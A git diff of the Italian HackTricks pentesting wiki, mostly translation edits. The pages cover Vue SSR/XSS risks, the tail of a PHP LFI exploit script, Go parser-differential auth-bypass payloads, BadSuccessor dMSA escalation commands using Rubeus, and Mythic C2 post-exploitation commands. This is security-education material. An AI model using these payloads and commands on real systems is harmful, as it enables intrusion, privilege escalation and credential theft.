Consentire stringhe utente in `:is` può montare componenti arbitrari o modelli inline—pericoloso nel browser e catastrofico in SSR.
|
||||
Consentire stringhe utente in `:is` può montare componenti arbitrari o template inline—pericoloso nel browser e catastrofico in SSR.
|
||||
```html
|
||||
<component :is="userChoice"></component>
|
||||
<!-- userChoice = '<script>alert(1)</script>' -->
|
||||
```
|
||||
### Modelli non attendibili in SSR
|
||||
Durante il rendering lato server, il modello viene eseguito **sul tuo server**; l'iniezione di HTML da parte dell'utente può elevare l'XSS a una piena Esecuzione Remota di Codice (RCE). Le CVE in `vue-template-compiler` dimostrano il rischio.
|
||||
Durante il rendering lato server, il modello viene eseguito **sul tuo server**; l'iniezione di HTML da parte dell'utente può elevare l'XSS a piena Esecuzione Remota di Codice (RCE). Le CVE in `vue-template-compiler` dimostrano il rischio.
|
||||
```js
|
||||
// DANGER – never do this
|
||||
const app = createSSRApp({ template: userProvidedHtml })
|
||||
@ -103,8 +103,8 @@ La build completa di Vue necessita di `unsafe-eval`; passa alla build runtime o
|
||||
```http
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self';
|
||||
```
|
||||
### Attacchi alla supply-chain (node-ipc – Marzo 2022)
|
||||
Il sabotaggio di **node-ipc**—estratto da Vue CLI—ha mostrato come una dipendenza transitiva possa eseguire codice arbitrario sulle macchine di sviluppo. Blocca le versioni e controlla spesso.
|
||||
### Attacchi alla supply chain (node-ipc – Marzo 2022)
|
||||
Il sabotaggio di **node-ipc**—estratto da Vue CLI—ha mostrato come una dipendenza transitiva possa eseguire codice arbitrario sulle macchine di sviluppo. Blocca le versioni e fai audit frequentemente.
|
||||
```shell
|
||||
npm ci --ignore-scripts # safer install
|
||||
```
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
|
||||
eccetto:
|
||||
except:
|
||||
pass
|
||||
```
|
||||
|
||||
@ -33,13 +33,13 @@ def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
```
|
||||
## Laboratori
|
||||
## Labs
|
||||
|
||||
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
- [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
- [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
```
|
||||
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
@ -0,0 +1,128 @@
|
||||
# JSON, XML & Yaml Hacking & Issues
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Go JSON Decoder
|
||||
|
||||
I seguenti problemi sono stati rilevati nel Go JSON anche se potrebbero essere presenti in altre lingue. Questi problemi sono stati pubblicati in [**questo post del blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||||
|
||||
I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare privilegi** o **esfiltrare dati sensibili**.
|
||||
|
||||
### (Un)Marshaling Unexpected Data
|
||||
|
||||
L'obiettivo è sfruttare le strutture che consentono a un attaccante di leggere/scrivere campi sensibili (ad es., `IsAdmin`, `Password`).
|
||||
|
||||
- Esempio di Struttura:
|
||||
```go
|
||||
type User struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
- Vulnerabilità comuni
|
||||
|
||||
1. **Tag mancante** (nessun tag = il campo viene comunque analizzato per impostazione predefinita):
|
||||
```go
|
||||
type User struct {
|
||||
Username string
|
||||
}
|
||||
```
|
||||
Payload:
|
||||
```json
|
||||
{"Username": "admin"}
|
||||
```
|
||||
2. **Uso errato di `-`**:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||||
}
|
||||
```
|
||||
Payload:
|
||||
```json
|
||||
{"-": true}
|
||||
```
|
||||
✔️ Modo corretto per bloccare un campo dall'essere (de)serializzato:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
### Differenziali del Parser
|
||||
|
||||
L'obiettivo è bypassare l'autorizzazione sfruttando come diversi parser interpretano lo stesso payload in modo diverso, come in:
|
||||
- CVE-2017-12635: bypass di Apache CouchDB tramite chiavi duplicate
|
||||
- 2022: RCE 0-click di Zoom tramite incoerenza del parser XML
|
||||
- Bypass SAML di GitLab 2025 tramite stranezze XML
|
||||
|
||||
**1. Campi Duplicati:**
|
||||
Il `encoding/json` di Go prende il **ultimo** campo.
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||||
fmt.Println(req.Action) // AdminAction
|
||||
```
|
||||
Altri parser (ad esempio, Jackson di Java) possono prendere il **primo**.
|
||||
|
||||
**2. Insensibilità al caso:**
|
||||
Go è insensibile al caso:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||||
// matches `Action` field
|
||||
```
|
||||
Anche i trucchi Unicode funzionano:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
```
|
||||
**3. Mismatch tra servizi:**
|
||||
Immagina:
|
||||
- Proxy scritto in Go
|
||||
- Servizio AuthZ scritto in Python
|
||||
|
||||
L'attaccante invia:
|
||||
```json
|
||||
{
|
||||
"action": "UserAction",
|
||||
"AcTiOn": "AdminAction"
|
||||
}
|
||||
```
|
||||
- Python vede `UserAction`, lo consente
|
||||
- Go vede `AdminAction`, lo esegue
|
||||
|
||||
|
||||
### Confusione del formato dei dati (Polyglots)
|
||||
|
||||
L'obiettivo è sfruttare i sistemi che mescolano formati (JSON/XML/YAML) o che falliscono in modo aperto sugli errori del parser come:
|
||||
- **CVE-2020-16250**: HashiCorp Vault ha analizzato JSON con un parser XML dopo che STS ha restituito JSON invece di XML.
|
||||
|
||||
L'attaccante controlla:
|
||||
- L'intestazione `Accept: application/json`
|
||||
- Controllo parziale del corpo JSON
|
||||
|
||||
Il parser XML di Go lo ha analizzato **comunque** e ha fidato l'identità iniettata.
|
||||
|
||||
- Payload creato:
|
||||
```json
|
||||
{
|
||||
"action": "Action_1",
|
||||
"AcTiOn": "Action_2",
|
||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||
}
|
||||
```
|
||||
Risultato:
|
||||
- **Go JSON** parser: `Action_2` (non sensibile al maiuscolo + ultimo vince)
|
||||
- **YAML** parser: `Action_1` (sensibile al maiuscolo)
|
||||
- **XML** parser: analizza `"Action_3"` all'interno della stringa
|
||||
|
||||
|
||||
### 🔐 Mitigazioni
|
||||
|
||||
| Rischio | Soluzione |
|
||||
|-----------------------------|---------------------------------------|
|
||||
| Campi sconosciuti | `decoder.DisallowUnknownFields()` |
|
||||
| Campi duplicati (JSON) | ❌ Nessuna soluzione nella stdlib |
|
||||
| Corrispondenza non sensibile al maiuscolo | ❌ Nessuna soluzione nella stdlib |
|
||||
| Dati spazzatura XML | ❌ Nessuna soluzione nella stdlib |
|
||||
| YAML: chiavi sconosciute | `yaml.KnownFields(true)` |
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Gli attacchi di iniezione di guasti includono l'introduzione di disturbi esterni nei circuiti elettronici per influenzare il loro comportamento, portando alla divulgazione di informazioni o addirittura al superamento di certe restrizioni nel circuito. Questi attacchi aprono molte possibilità per attaccare circuiti elettronici. Questo attacco è anche noto come glitching dei circuiti elettronici.
|
||||
Gli attacchi di iniezione di guasti includono l'introduzione di disturbi esterni nei circuiti elettronici per influenzare il loro comportamento, portando alla divulgazione di informazioni o persino al superamento di certe restrizioni nel circuito. Questi attacchi aprono molte possibilità per attaccare circuiti elettronici. Questo attacco è anche noto come glitching dei circuiti elettronici.
|
||||
|
||||
Ci sono molti metodi e mezzi per iniettare guasti in un circuito elettronico.
|
||||
|
||||
|
||||
@ -17,13 +17,13 @@ I ricercatori di Akamai hanno scoperto che un singolo attributo — **`msDS‑Ma
|
||||
|
||||
## Requirements to attack
|
||||
1. **Almeno un Windows Server 2025 DC** affinché la classe LDAP del dMSA e la logica KDC esistano.
|
||||
2. **Qualsiasi diritto di creazione di oggetti o scrittura di attributi su un OU** (qualsiasi OU) – ad esempio, `Create msDS‑DelegatedManagedServiceAccount` o semplicemente **Create All Child Objects**. Akamai ha scoperto che il 91 % dei tenant nel mondo reale concede tali permessi “benigni” sugli OU a non amministratori.
|
||||
2. **Qualsiasi diritto di creazione di oggetti o scrittura di attributi su un OU** (qualsiasi OU) – ad esempio, `Create msDS‑DelegatedManagedServiceAccount` o semplicemente **Create All Child Objects**. Akamai ha scoperto che il 91 % dei tenant nel mondo reale concede tali permessi “benigni” sugli OU a non amministratori.
|
||||
3. Capacità di eseguire strumenti (PowerShell/Rubeus) da qualsiasi host unito al dominio per richiedere ticket Kerberos.
|
||||
*Non è richiesto alcun controllo sull'utente vittima; l'attacco non tocca mai direttamente l'account target.*
|
||||
|
||||
## Step‑by‑step: BadSuccessor*privilege escalation
|
||||
|
||||
1. **Trova o crea un dMSA che controlli**
|
||||
1. **Individua o crea un dMSA che controlli**
|
||||
```bash
|
||||
New‑ADServiceAccount Attacker_dMSA `
|
||||
‑DNSHostName ad.lab `
|
||||
@ -36,7 +36,7 @@ Poiché hai creato l'oggetto all'interno di un OU a cui puoi scrivere, possiedi
|
||||
- Imposta `msDS‑ManagedAccountPrecededByLink = DN` di qualsiasi vittima (ad esempio `CN=Administrator,CN=Users,DC=lab,DC=local`).
|
||||
- Imposta `msDS‑DelegatedMSAState = 2` (migrazione completata).
|
||||
|
||||
Strumenti come **Set‑ADComputer, ldapmodify**, o anche **ADSI Edit** funzionano; non sono necessari diritti di amministratore di dominio.
|
||||
Strumenti come **Set‑ADComputer, ldapmodify** o anche **ADSI Edit** funzionano; non sono necessari diritti di amministratore di dominio.
|
||||
|
||||
3. **Richiedi un TGT per il dMSA** — Rubeus supporta il flag `/dmsa`:
|
||||
|
||||
@ -44,7 +44,7 @@ Strumenti come **Set‑ADComputer, ldapmodify**, o anche **ADSI Edit** funzionan
|
||||
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>
|
||||
```
|
||||
|
||||
Il PAC restituito ora contiene il SID 500 (Amministratore) più i gruppi Amministratori di Dominio/Amministratori di Impresa.
|
||||
Il PAC restituito ora contiene il SID 500 (Amministratore) più i gruppi Domain Admins/Enterprise Admins.
|
||||
|
||||
## Gather all the users passwords
|
||||
|
||||
|
||||
@ -1,4 +1,6 @@
|
||||
# Mythic
|
||||
# Mythic
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Che cos'è Mythic?
|
||||
|
||||
@ -6,7 +8,7 @@ Mythic è un framework open-source e modulare di comando e controllo (C2) proget
|
||||
|
||||
### Installazione
|
||||
|
||||
Per installare Mythic, segui le istruzioni nel **[repository ufficiale di Mythic](https://github.com/its-a-feature/Mythic)**.
|
||||
Per installare Mythic, segui le istruzioni nel **[repo ufficiale di Mythic](https://github.com/its-a-feature/Mythic)**.
|
||||
|
||||
### Agenti
|
||||
|
||||
@ -14,7 +16,7 @@ Mythic supporta più agenti, che sono i **payload che eseguono compiti sui siste
|
||||
|
||||
Per impostazione predefinita, Mythic non ha agenti installati. Tuttavia, offre alcuni agenti open source in [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
|
||||
|
||||
Per installare un agente da quel repository, devi solo eseguire:
|
||||
Per installare un agente da quel repo, devi semplicemente eseguire:
|
||||
```bash
|
||||
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
|
||||
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
|
||||
@ -66,12 +68,12 @@ Questo agente ha molti comandi che lo rendono molto simile al Beacon di Cobalt S
|
||||
- `rev2self`: Ripristina il token dell'agente al suo token primario, riducendo effettivamente i privilegi al livello originale
|
||||
- `ppid`: Cambia il processo padre per i lavori di post-exploitation specificando un nuovo ID processo padre, consentendo un migliore controllo sul contesto di esecuzione del lavoro
|
||||
- `printspoofer`: Esegue comandi PrintSpoofer per bypassare le misure di sicurezza dello spooler di stampa, consentendo l'escalation dei privilegi o l'esecuzione di codice
|
||||
- `dcsync`: Sincronizza le chiavi Kerberos di un utente sulla macchina locale, consentendo il cracking delle password offline o ulteriori attacchi
|
||||
- `dcsync`: Sincronizza le chiavi Kerberos di un utente sulla macchina locale, consentendo la decifratura offline delle password o ulteriori attacchi
|
||||
- `ticket_cache_add`: Aggiunge un biglietto Kerberos alla sessione di accesso corrente o a una specificata, consentendo il riutilizzo del biglietto o l'impersonificazione
|
||||
|
||||
### Esecuzione dei processi
|
||||
|
||||
- `assembly_inject`: Consente di iniettare un loader di assembly .NET in un processo remoto
|
||||
- `assembly_inject`: Consente di iniettare un caricatore di assembly .NET in un processo remoto
|
||||
- `execute_assembly`: Esegue un assembly .NET nel contesto dell'agente
|
||||
- `execute_coff`: Esegue un file COFF in memoria, consentendo l'esecuzione in memoria di codice compilato
|
||||
- `execute_pe`: Esegue un eseguibile non gestito (PE)
|
||||
@ -114,13 +116,13 @@ Dopo che un modulo è stato caricato, apparirà nell'elenco come un altro comand
|
||||
- `net_localgroup`: Elenca i gruppi locali sul computer specificato, predefinito a localhost se non viene specificato alcun computer.
|
||||
- `net_localgroup_member`: Recupera l'appartenenza ai gruppi locali per un gruppo specificato sul computer locale o remoto, consentendo l'enumerazione degli utenti in gruppi specifici.
|
||||
- `net_shares`: Elenca le condivisioni remote e la loro accessibilità sul computer specificato, utile per identificare potenziali obiettivi per il movimento laterale.
|
||||
- `socks`: Abilita un proxy conforme a SOCKS 5 sulla rete target, consentendo il tunneling del traffico attraverso l'host compromesso. Compatibile con strumenti come proxychains.
|
||||
- `socks`: Abilita un proxy compatibile con SOCKS 5 sulla rete target, consentendo il tunneling del traffico attraverso l'host compromesso. Compatibile con strumenti come proxychains.
|
||||
- `rpfwd`: Inizia ad ascoltare su una porta specificata sull'host target e inoltra il traffico attraverso Mythic a un IP e una porta remoti, consentendo l'accesso remoto ai servizi sulla rete target.
|
||||
- `listpipes`: Elenca tutte le pipe nominate sul sistema locale, che possono essere utili per il movimento laterale o l'escalation dei privilegi interagendo con i meccanismi IPC.
|
||||
|
||||
### Comandi Vari
|
||||
- `help`: Mostra informazioni dettagliate su comandi specifici o informazioni generali su tutti i comandi disponibili nell'agente.
|
||||
- `clear`: Segna i compiti come 'puliti' in modo che non possano essere ripresi dagli agenti. Puoi specificare `all` per pulire tutti i compiti o `task Num` per pulire un compito specifico.
|
||||
- `clear`: Segna i compiti come 'cancellati' in modo che non possano essere ripresi dagli agenti. Puoi specificare `all` per cancellare tutti i compiti o `task Num` per cancellare un compito specifico.
|
||||
|
||||
|
||||
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
|
||||
@ -138,7 +140,7 @@ Quando si utilizza Linux, ci sono alcuni comandi interessanti:
|
||||
- `chmod`: Cambia i permessi di un file
|
||||
- `config`: Visualizza la configurazione attuale e le informazioni sull'host
|
||||
- `cp`: Copia un file da una posizione a un'altra
|
||||
- `curl`: Esegue una singola richiesta web con intestazioni e metodo opzionali
|
||||
- `curl`: Esegui una singola richiesta web con intestazioni e metodo opzionali
|
||||
- `upload`: Carica un file sul target
|
||||
- `download`: Scarica un file dal sistema target alla macchina locale
|
||||
- E molti altri
|
||||
@ -148,18 +150,21 @@ Quando si utilizza Linux, ci sono alcuni comandi interessanti:
|
||||
- `triagedirectory`: Trova file interessanti all'interno di una directory su un host, come file sensibili o credenziali.
|
||||
- `getenv`: Ottieni tutte le variabili ambientali correnti.
|
||||
|
||||
### Spostati lateralmente
|
||||
### Muoversi lateralmente
|
||||
|
||||
- `ssh`: SSH su host utilizzando le credenziali designate e apri un PTY senza avviare ssh.
|
||||
- `sshauth`: SSH su host specificati utilizzando le credenziali designate. Puoi anche usarlo per eseguire un comando specifico sui host remoti tramite SSH o usarlo per SCP file.
|
||||
- `link_tcp`: Collega un altro agente tramite TCP, consentendo comunicazioni dirette tra agenti.
|
||||
- `link_webshell`: Collega un agente utilizzando il profilo P2P webshell, consentendo l'accesso remoto all'interfaccia web dell'agente.
|
||||
- `link_tcp`: Collega a un altro agente tramite TCP, consentendo comunicazioni dirette tra agenti.
|
||||
- `link_webshell`: Collega a un agente utilizzando il profilo P2P webshell, consentendo l'accesso remoto all'interfaccia web dell'agente.
|
||||
- `rpfwd`: Avvia o ferma un Reverse Port Forward, consentendo l'accesso remoto ai servizi sulla rete target.
|
||||
- `socks`: Avvia o ferma un proxy SOCKS5 sulla rete target, consentendo il tunneling del traffico attraverso l'host compromesso. Compatibile con strumenti come proxychains.
|
||||
- `portscan`: Scansiona host per porte aperte, utile per identificare potenziali obiettivi per movimenti laterali o ulteriori attacchi.
|
||||
- `portscan`: Scansiona host per porte aperte, utile per identificare potenziali obiettivi per il movimento laterale o ulteriori attacchi.
|
||||
|
||||
### Esecuzione di processi
|
||||
|
||||
- `shell`: Esegue un singolo comando shell tramite /bin/sh, consentendo l'esecuzione diretta di comandi sul sistema target.
|
||||
- `run`: Esegue un comando dal disco con argomenti, consentendo l'esecuzione di binari o script sul sistema target.
|
||||
- `pty`: Apri un PTY interattivo, consentendo un'interazione diretta con la shell sul sistema target.
|
||||
- `shell`: Esegui un singolo comando shell tramite /bin/sh, consentendo l'esecuzione diretta di comandi sul sistema target.
|
||||
- `run`: Esegui un comando dal disco con argomenti, consentendo l'esecuzione di binari o script sul sistema target.
|
||||
- `pty`: Apri un PTY interattivo, consentendo l'interazione diretta con la shell sul sistema target.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user